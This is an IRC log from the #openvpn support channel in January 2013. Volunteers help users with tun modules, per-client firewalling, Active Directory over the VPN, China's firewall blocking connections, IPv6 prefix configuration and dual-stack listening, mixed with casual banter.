20:13 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
20:13 < mintuser> now if I could just find a tun.ko for linux mint
20:14 <@krzee> lol
20:14 <@krzee> you're doing it wrong
20:14 < mintuser> thjat is what I thought but someone here said to compile it.
20:14 <@krzee> [17:17]  <mintuser> but everyone in #linuxmint says it is usable for openvpn with the default install.
20:14 <@krzee> \
20:14 <@krzee> that would mean it has it
20:15 < mintuser> if you search on their forums for tun.ko vpn etc. it comes back saying "tun ko vpn being skipped search words must be at least 5 character long"
20:15 < mintuser> krzee: yes, that is what is so odd.
20:15 <@krzee> im done talking in circles, post the logs and configs like i said to an hour ago :-p
20:15 < mintuser> I have a vanilla default install of the latest Nadia (14) with kde.
20:16 < mintuser> and if I had seen an option wrt tun devices I definitely would have selected to include it.
20:16 < mintuser> which pastebin is preferred here?
20:16 <@krzee> whatev
20:16 < mintuser> sorry krzee I was off looking for a tun.ko
20:17 < mintuser> not even google helped, much less more standard routes.
20:17 <@krzee> cause thats not how it goes
20:19 < mintuser>  was that for me krzee.  I will be back again but right now the heat has gone out in my building and it is way way below freezing
20:19 <@krzee> [18:15]  <krzee> im done talking in circles, post the logs and configs like i said to an hour ago :-p
20:19 <@krzee> bye
20:19 < mintuser> I'm in the northeast us
20:19 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has joined #openvpn
20:20 < mintuser> 13 degrees and getting colder
20:20 < mintuser> my fingers can't type easily anymore
20:28 -!- pyro254750 [~jmiller@c-24-99-228-251.hsd1.ga.comcast.net] has quit [Remote host closed the connection]
20:54 -!- guest061 [~yaaic@cpe-74-73-157-238.nyc.res.rr.com] has joined #openvpn
21:20 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has joined #openvpn
21:21 < troker> Hey all, anyone know of a way to set up routing based off client in OpenVPN?  AKA UserA can talk to 10.0.10.0/24 and UserB can talk to 10.0.10.2/32
21:24 <+pekster> krzee: tap-based failover? To the same peer, like device bonding? Or you mean different peers
21:25 <+pekster> troker: Routing, or do you mean firewalling? I suspect you don't really want different routing views for multiple VPN clients from the same VPN netwnork
21:28 < troker> pekster: I guess, but the firewall can't figure out what ip goes to what client?  Can I make that a static setting?  UserB get ip x.x.x.x and CAN NOT change it?
21:29 <+pekster> troker: Are we talking about issuing IPs to clients, or filtering where a connected client can forward traffic? What's your overall goal?
21:30 < troker> pekster: overall goal is UserA can talk to 10.0.10.0/24 and UserB can talk to 10.0.10.2/32 (single host)
21:31 -!- xbskid [~asdf@cpe-67-244-148-156.rochester.res.rr.com] has joined #openvpn
21:31 < xbskid> So I fixed my issue from yesterday.
21:31 < troker> So per-client routing (OpenVPN routes from "fake" VPN network to real 'far-side' network)
21:31 < troker> routing/firewalling <- my confusion lies here
21:32 <+pekster> troker: No. You don't want "per client routing rule" on your server. You stop traffic from going where you don't want it to with a firewall
21:32 <+pekster> You may of course opt not to push the route to a specific client, but anyone with admin access on the client can simply add a route back in
21:32 < troker> pekster: ok, that makes a lot of sense - any thoughts on implanting per-clinet firewalling?
21:33 <+pekster> You can do per-client firewalling by using a --client-connect script that has access to the variables for the client. Specifically, the $common_name env-var lets you see who is connecting, and take action based on the user
21:33 <+pekster> troker: See the manpage section titled 'SCRIPTING AND ENVIRONMENTAL VARIABLES' to get an idea of all the variables available to you. You're going to be interested in the $remote_ip and $common_name, most likely
21:34 <+pekster> Cook up a way to do any on-demand firewall rules when the client connects, and remove them when the client disconnects
21:36 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Remote host closed the connection]
21:37 -!- valparaiso [~valparais@ARennes-257-1-57-80.w81-53.abo.wanadoo.fr] has quit [Ping timeout: 240 seconds]
21:39 < troker> pekster: Thanks so much! I will look into it!
21:40 <+pekster> Someday when I'm motivated I'll write a handy openvpn/netfilter per-client integration script suite. But not tonight
21:40 <+pekster> I did one for a prior employer, but sadly that's not copyleft and is locked up in their SVN repos :(
21:41 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
21:45 -!- mintuser [~mintuser@cpe-74-73-157-238.nyc.res.rr.com] has quit [Quit: Leaving]
22:11 -!- guest061 [~yaaic@cpe-74-73-157-238.nyc.res.rr.com] has quit [Ping timeout: 248 seconds]
22:14 -!- Saviq [~Saviq@canonical/saviq] has quit [Ping timeout: 248 seconds]
22:17 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
22:23 <@krzee> pekster, i have 2 isps, so i make 2 links to the same server (1 on each isp)
22:24 <@krzee> well in reality each side has 2 isps, there are 2 separate servers running on the same iron (1 listening on each isp)
22:24 <+pekster> Recent kernels added some really interesting looking new feature, basically NIC-teaming for arbitrary links like that
22:25 <+pekster> I don't know if you wanted strictly failover, or a teaming solution. I just noticed it long enough to press 'n' when make oldconfig wanted to know what it was
22:25 <@krzee> strictly failover, no traffic over link b until link a is down
22:29 <+pekster> If you can determine the link-down event (ie: if it's clean and something a distro's if-down script would catch) you could adjust ip routes or rules to send over the 2nd tunnel
22:29 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has quit [Ping timeout: 248 seconds]
22:30 <@krzee> active directory requires layer2, right>
22:30 <+pekster> Nope. Maybe if you're trying to use broadcast NBNS, but I'd call that doing it wrong
22:30 <@krzee> as would i
22:30 <@krzee> i thought it needed layer2, thats great
22:30 <+pekster> With a proper-functioning DNS setup Windows AD works just fine over L3
22:31 <@krzee> theres no internal dns setup outside of what AD does by itself to work
22:31 <+pekster> (proper being 'send all DNS with anything related to the AD domaon to the authoratitive DC's DNS servers)
22:31 <@krzee> ahh ok, that can be done
22:31 <@krzee> dnsmasq would be easy enough for that
22:32 <+pekster> Yea. I used a split-horizon DNS and split-routing when I supported perma-remote employees with embedded hardware last job
22:32 <+pekster> Really slick solution
22:32 <+pekster> You could even join/remove PCs from the domain from their desk thousands of miles from the office/colo with the DC's
22:33 <+pekster> The VoIP had to have some hand-holding to get the tftp boot stuff working, but even that wasn't too bad with dnsmasq
22:33 <@krzee> well im damned glad to find that i dont need layer2
22:33 <+pekster> The solution is "ship it, plug it in, a little fine-tuning the QoS master control knobs, and the employee is set"
22:34 <+pekster> That crap lived for months too without a reboot. The family dog or a move was more likely to interrupt service ;)
22:34 <@krzee> that means all i need to do is configure dnsmasq (sounds like a very simple config) and join it to the domain
22:34 <+pekster> Yea
22:34 <@krzee> hah and i already have dnsmasq running there!
22:35 <+pekster> AD does everything over L3 fine. It's the concept of "Active" or even being a "Directory" I'll take issue with. Just because you can connect to it via jxplorer does not mean it's actually LDAP :P
22:36 <@krzee> orly? i thought it was basically just a complex ldap schema
22:36 <@krzee> in fact someone told me they hacked up a ldap to interact with AD
22:37 <+pekster> Sorta, kinda. With undocumented land mines thrown in there too because someone's monkey got access to visual studio that week
22:37 <@krzee> hahha
22:37 <+pekster> http://xkcd.com/323/
22:37 <@vpnHelper> Title: xkcd: Ballmer Peak (at xkcd.com)
22:38 <@krzee> nice
22:38 <+pekster> AD:LDAP::Citrix:VPN
22:38 -!- brute11k1 [~brute11k@89.249.230.232] has quit [Quit: Leaving.]
22:39 <+pekster> Don't you know Citrix has a nice big "Connect" button? Why don't we do that? :)
22:45 < ngharo> print drivers.  ohhh the humanity
22:47 <+pekster> I was highly-impressed with whatever fancy MFD Ricoh printer/copy/fax/pure-awesome device the last company with money I worked at had. They actually produced driver sources that built cleanly on a modern Linux system and the ppd "just worked" in CUPS. I was floored that a company could actually get that right :P
22:48 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has quit [Read error: Connection reset by peer]
22:48 < ngharo> wow
22:48 < ngharo> thats like unheard of
22:48 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has joined #openvpn
22:48 < ngharo> granted all my citrix knowledge is from 7 years ago
22:48 <+pekster> I was indeed skeptical when the INSTALL docs basically read "extract, run make, and install the ppd file into your CUPS browser" but then it actually worked
22:48 <+pekster> Oh, printers and Citrix? Yea, they've grown up a bit with "universal" print drivers
22:49 <+pekster> Of course, if you can't get those, you're screwed :P
22:49 < ngharo> HP had some back then, i started enforcing a policy if it dont work with UPD, not supporting
22:49 <+pekster> Yup. We've got enough printing standards. Now we need OS/printer combinations that actually work with them :P
22:50 < ngharo> the citrix udp sucked, spooled up 2GB jobs for a two page doc
22:50 <+pekster> http://xkcd.com/927/
22:50 <@vpnHelper> Title: xkcd: Standards (at xkcd.com)
22:50 -!- troker_ [~troker@174.142.10.177] has joined #openvpn
22:51 -!- troker_ [~troker@174.142.10.177] has quit [Client Quit]
22:51 < ngharo> pekster: did you post that message to the dev list re: nsis script?
22:51 <+pekster> Yup
22:52 < ngharo> nice writeup :)
22:52 <+pekster> I meant to do that a few days back when I finally tracked the source lines against my PE output
22:52 <+pekster> I just got lost in some other project
22:52 < ngharo> i saw a commit that touched on it, any progress on it?
22:52 -!- troker [~troker@bou62-129-63-62-124.dhcp.uml.edu] has quit [Ping timeout: 245 seconds]
22:52 < ngharo> didn't see any replies to you post :/
22:52 <+pekster> I'm not sure it's the commit that's the problem
22:53 <+pekster> Near as I can tell the person to build the installer that got released didn't use the latest sources, at least of the openvpn-build project
22:53 <+pekster> And that source file is 6mo old when I wrote that email
22:53 < ngharo> i think they should get rid of github or update it
22:53 <+pekster> Maybe there's some tagging or voting system; I'm not really up on how changes get voted on for inclusion to release targets
22:53 < ngharo> it's a source of confusion
22:54 <+pekster> That's the only place I found the nsis stuff; it's not in any of the source tgz or zips on the official site
22:54 <+pekster> It's not hard to believe the nsis crap hasn't been touched for a while
22:56 < ngharo> i suppose
22:59 <@krzee> grr
22:59 <@krzee> remote desktop over remote desktop over vpn over vpn
22:59 <@krzee> with 2 shitty connections in the mix
22:59 <@krzee> just need to get 1 route command entered, lol
23:00 <+pekster> How fast can you install sshd.exe on those RDP hosts? ;)
23:00 <+pekster> When I learned that cygwin had functional sshd support, I was quite happy ;)
23:00 <@krzee> more time than adding the route
23:02 <+pekster> If you're using rdesktop, the '-x modem' arg tends to do wonders
23:02 <+pekster> There's a bitrate flag too. -a I think? -a 15 is a nice compromize between usability and throughput
23:02 <@krzee> booya finally got a cmd
23:39 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Quit: Herpa la Derpa]
23:56 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
--- Day changed Thu Jan 24 2013
00:01 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
00:07 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
00:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds]
01:12 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Quit: Computer has gone to sleep.]
01:28 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
01:28 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
01:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
01:28 -!- mode/#openvpn [+o krzee] by ChanServ
01:30 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
01:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Client Quit]
01:34 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
01:44 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
01:46 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
01:53 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:59 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
02:02 -!- ade_b [~Ade@109.58.197.188.bredband.tre.se] has joined #openvpn
02:02 -!- ade_b [~Ade@109.58.197.188.bredband.tre.se] has quit [Changing host]
02:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:14 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:26 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
02:26 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
02:52 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
03:05 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:21 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
03:25 -!- Orbi [~opera@anon-185-65.vpn.ipredator.se] has joined #openvpn
03:30 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:56 -!- zz_AsadH is now known as AsadH
03:59 -!- valparaiso [~valparais@ARennes-257-1-71-13.w81-53.abo.wanadoo.fr] has joined #openvpn
04:03 -!- brute11k [~brute11k@89.249.230.232] has joined #openvpn
04:16 -!- dazo_afk is now known as dazo
04:53 -!- master_of_master [~master_of@p57B5402B.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
04:54 -!- master_of_master [~master_of@p57B53A40.dip.t-dialin.net] has joined #openvpn
04:59 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has joined #openvpn
05:13 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:15 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- IRC with a difference]
06:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
06:17 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:29 < AsadH> novaflash: http://i.imgur.com/nrg3nuy.gif
06:29 < AsadH> oops, wrong channel
06:29 <@novaflash> that poor cat
06:30 <@novaflash> but i do like wet pussy though
06:31 -!- draggawagga [~oukai@183.62.57.74] has joined #openvpn
06:32 < draggawagga> Hey, no native english speaker here, i have a question. Is there a good method to find out whether my isp or the gfw (sitting in china) is blocking my university openvpn network?
06:33 -!- b1rkh0ff [~b1rkh0ff@46.36.160.201] has quit [Quit: Leaving]
06:34 <@novaflash> china is blocking openvpn connections yes. the best way to find out would be to try it and fail :-P
06:34 <@novaflash> but anyways, you should see RST responses when trying to connect
06:34 <@novaflash> and if you change port, and it works for a little while, and then gets blocked - that's the GFW at work
06:36 < rob0> RST is TCP-only. If you're using UDP as you should, use a nonstandard port, and vary it when (or before!) it gets detected.
06:37 <@novaflash> or, stage a coup and take over the chinese government, and remove the firewall
06:39 < draggawagga> I can't connect the network, same with the openvpn website :p. Have to find out whether it may be my university network here in china or the provider+(or gfw). Coup is too difficult, insufficient language skills :p, rest is no problem.
06:41 <@novaflash> yeah that's more complicated. try setting up a TCP connection,and if it is blocked, run wireshark on it to see where it is being blocked and try to find out if that's in the network of your university, or beyond
06:41 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 246 seconds]
06:42 < draggawagga> Thanks, will try that out.
06:45 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 248 seconds]
06:48 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has joined #openvpn
06:49 -!- draggawagga [~oukai@183.62.57.74] has quit [Quit: Verlassend]
06:57 -!- draggawagga [~oukai@183.62.57.74] has joined #openvpn
06:57 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
07:03 -!- valparaiso [~valparais@ARennes-257-1-71-13.w81-53.abo.wanadoo.fr] has quit [Quit: valparaiso]
07:04 -!- valparaiso [~valparais@ARennes-257-1-71-13.w81-53.abo.wanadoo.fr] has joined #openvpn
07:04 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
07:05 -!- valparaiso [~valparais@ARennes-257-1-71-13.w81-53.abo.wanadoo.fr] has quit [Client Quit]
07:09 < draggawagga> Okay, over TCP to my university-vpn to europe, in wireshark i only get information about the VPN-server and my  chinese university network. that should mean it is my chinese university right?
07:13 -!- Orbi [~opera@anon-185-65.vpn.ipredator.se] has quit [Quit: Orbi]
07:25 -!- draggawagga [~oukai@183.62.57.74] has quit [Quit: Verlassend]
07:29 -!- brute11k [~brute11k@89.249.230.232] has quit [Ping timeout: 245 seconds]
07:30 -!- draggawagga [~oukai@183.62.57.74] has joined #openvpn
07:40 -!- draggawagga [~oukai@183.62.57.74] has quit [Remote host closed the connection]
07:42 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
08:19 -!- APTX_ is now known as APTX
08:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:39 <@dazo> novaflash: you can also point users at obfsproxy from the TOR project ... using obfsproxy in socks mode, and add --socks-proxy to the openvpn config ... but you need obfsproxy on the server side as well
08:40 <@novaflash> dazo; yah but he only asked how to figure out where the block is, lol. thanks ;
08:40 <@novaflash> ;)
08:40 <@dazo> if in china, presume the gov block it :)
08:41 <@novaflash> certainly
08:56 -!- Steven_ [~deepstar@pegasus.singularity.be] has quit [Quit: leaving]
09:29 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
09:45 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 246 seconds]
09:49 -!- dazo is now known as dazo_afk
09:52 <@ecrist> !windows
09:52 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
09:58 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
09:58 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:11 -!- raidz_away is now known as raidz
10:19 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
10:31 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 246 seconds]
10:32 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
10:40 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has quit [Ping timeout: 255 seconds]
10:41 -!- MeanderingCode_ [~Meanderin@server-176.53.69.120.as42926.net] has joined #openvpn
10:41 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 245 seconds]
10:46 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
10:46 -!- brute11k [~brute11k@89.249.230.106] has joined #openvpn
10:46  * ecrist lols at IRC drama
10:46 -!- MeanderingCode_ [~Meanderin@server-176.53.69.120.as42926.net] has quit [Ping timeout: 240 seconds]
10:49 -!- Valcorb [~Valcorb@199.229.249.189] has quit []
10:52 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
10:53 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
10:53 < soapee01> anybody seen krzee lately?
10:56 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has joined #openvpn
10:57 < ngharo> maybe
10:57 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
10:59 <@ecrist> yes, what do you need soapee01 
11:00 < soapee01> ecrist pm ok?
11:00 <@ecrist> no
11:00 <@ecrist> !topsecret
11:00 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
11:00 < soapee01> it's not setup related.
11:01 < soapee01> I'm not looking for help. openvpn works fine for me!
11:01 -!- bisko [~bisko@77.70.26.115] has quit [Ping timeout: 240 seconds]
11:03 <@ecrist> !seen krzee
11:03 <@vpnHelper> krzee was last seen in #openvpn 12 hours and 28 seconds ago: <krzee> booya finally got a cmd
11:03 <@ecrist> :)
11:03 < soapee01> t/y ecrist.  I'll linker here...
11:04 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:04 < soapee01> linger even...
11:06 < soapee01> oh, thank you guys for openvpn connect on iphone.  that solves major headaches for everybody!  Now I gotta borrow one to test...
11:09 <@ecrist> keep in mind, neither iphone for android client can do bridged VPN
11:11 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 248 seconds]
11:15 < soapee01> bridged in what way?  as in a tap wan setup with tun to mobiles?  or bridging the wifi sharing on the phone?
11:20 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:20 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:20 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:25 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Remote host closed the connection]
11:25 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has joined #openvpn
11:28 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has joined #openvpn
11:29 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 276 seconds]
11:32 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
11:45 < BtbN> Is it possible to make OpenVPN request the IPv6 subnet it serves via DHCPv6, and then announce that it routes this subnet via radv-protocol?
11:49 < rob0> I doubt such functionality has yet been implemented.
11:50 < rob0> but maybe you can script something to be similar.
11:54 -!- AsadH is now known as zz_AsadH
11:54 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:03 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
12:09 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 244 seconds]
12:27 < BtbN> rob0: I'd have to modify the openvpn.conf each time the addvertisment changes, or is there some kind of "include", so i can just write the address to a file, and make openvpn notice any changes?
12:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:40 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
12:43 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 246 seconds]
12:58 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
13:00 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
13:03 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
13:13 < BtbN> So i realy have to modify my entire config file? Can't find anything include-like oO
13:14 <+pekster> He said script, not change config
13:14 <+pekster> ie: --up or --route-up
13:15 <+pekster> Further reading in the manpage: the section titled 'SCRIPTING AND ENVIRONMENTAL VARIABLES'
13:15 < BtbN> pekster: i have a script run by the dhcpv6 which gets told the prefix
13:15 < BtbN> and  i have to somehow get this into the openvpn config
13:16 <+pekster> the ipv6 addressing comes from outside openvpn then? on the raw link, or inside the tunnel?
13:16 < BtbN> I request a prefix delegation from my router via DHCPv6
13:16 < BtbN> and want OpenVPN to use that prefix
13:17 < BtbN> i already have a script which writes the neccesary openvpn config line into a file, i now just need to include it
13:17 <+pekster> --config
13:18 < BtbN> i can just  write config into a configuration file, and it will load the second file?
13:18 <+pekster> Yup
13:18 <+pekster> You can even HUP a running process to re-read the config
13:19 < BtbN> oh, that's great, so i don't have to restart it
13:19 <+pekster> Well, it's more or less a "restart" as far as clients are concerned, but the PID itself stays running
13:28 < BtbN> hm, killal -SIGHUP openvpn just kills it oO
13:28 < BtbN> +l
13:29 <+pekster> Perhaps you're downgrading runtime privs without the correct --persist-* options to support a HUP?
13:29 < BtbN> ah, it fails as OpenVPN tries to re-read the keys, which it no longer has permissions to
13:29 <+pekster> Check logs. A HUP is not the same from INT/TERM
13:29 < BtbN> yeah, exactly that
13:29 <+pekster> Yea
13:30 < BtbN> hm, persist-key and persist-tun is set
13:30 <+pekster> You probably can't use persist-tun since you need to change networking if the network range you're using changes
13:30 < rob0> I think there is a SIGNALS section in the man page.
13:30 <+pekster> ie: you can't downgrade privs and also expect ifconfig to have root access to change networking/routes
13:31 < rob0> SIGHUP   Cause OpenVPN to close all TUN/TAP and network connections, restart, re-read the configuration file (if any), and reopen TUN/TAP and network connections.
13:31 <+pekster> BtbN: The --user manpage description does a good job explaining what you can and cannot expect to work if you need to HUP/USR1 the process with reduced privs
13:33 < BtbN> I have not set any user/group. Seems like it's my distros init-script which does it
13:33 < rob0> (You can expect it, but you will be disappointed. :) )
13:34 <+pekster> manpages often change exceptations :P
13:35 <+pekster> BtbN: Some init scripts grep for 'user' and 'group' and set them if undefined. Set them to root or modify your initscript to avoid this behaviour
13:36 <+pekster> Better yet, patch it to be a config option and send your distro a patch ;)
13:38 < BtbN> Theoreticaly it's working now :D
13:39 < BtbN> But i get a /62
13:43 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
13:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:49 -!- mode/#openvpn [+o krzee] by ChanServ
13:51 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
13:54 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
13:58 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
14:01 -!- zz_AsadH is now known as AsadH
14:08 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has joined #openvpn
14:14 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:24 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
14:27 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
14:37 <@krzee> soapee01, hows it going
14:43 -!- mdw- [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has joined #openvpn
14:50 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 272 seconds]
14:53 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
15:23 < BtbN> How do i make OpenVPN listen on v4 and v6/dual-v6? It only listens on 0.0.0.0 currently
15:24 <@krzee> ild guess --local6 or something, have a look at the 2.3 manual
15:24 <@krzee> !man
15:24 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
15:25 < BtbN> I already read the whole man page, couldn't find information about this
15:26 <@krzee> 1sec
15:26 < BtbN> I only found on google that it is possible with 2.3.0, but not how
15:27 <@krzee> proto udp6
15:28 <@krzee> http://www.ipsidixit.net/2010/06/21/openvpn-over-ipv6/
15:28 <@vpnHelper> Title: OpenVPN over IPv6 « ipsidixit.net (at www.ipsidixit.net)
15:28 <@krzee> i cant speak for tht link, but it looks like it does what you said more or less
15:29 < BtbN> it's listening on IPv6 only with that, so lets hope it also accepts ipv4
15:36 < BtbN> yes it does :)
15:39 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
15:44 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:57 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit [Ping timeout: 244 seconds]
16:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
16:21 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
16:25 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Read error: Operation timed out]
16:30 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
16:36 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has left #openvpn ["Leaving"]
16:38 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:57 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:57 -!- mode/#openvpn [+v s7r] by ChanServ
16:58 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
17:03 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
17:03 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
17:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:03 -!- mode/#openvpn [+o krzee] by ChanServ
17:06 -!- AsadH is now known as zz_AsadH
17:25 -!- _polto_ [~polto@fsf/member/polto] has quit [Ping timeout: 248 seconds]
17:25 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has quit [Ping timeout: 245 seconds]
17:26 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has joined #openvpn
17:28 -!- _polto_ [~polto@dslpre0565.worldcom.ch] has joined #openvpn
17:28 -!- _polto_ [~polto@dslpre0565.worldcom.ch] has quit [Changing host]
17:28 -!- _polto_ [~polto@fsf/member/polto] has joined #openvpn
17:28 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
17:31 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
17:40 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Read error: Connection reset by peer]
17:59 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
18:07 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has joined #openvpn
18:09 -!- Rolybrau [nemysis@unaffiliated/rolybrau] has quit [Client Quit]
18:29 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has quit [Quit: ZNC - http://znc.in]
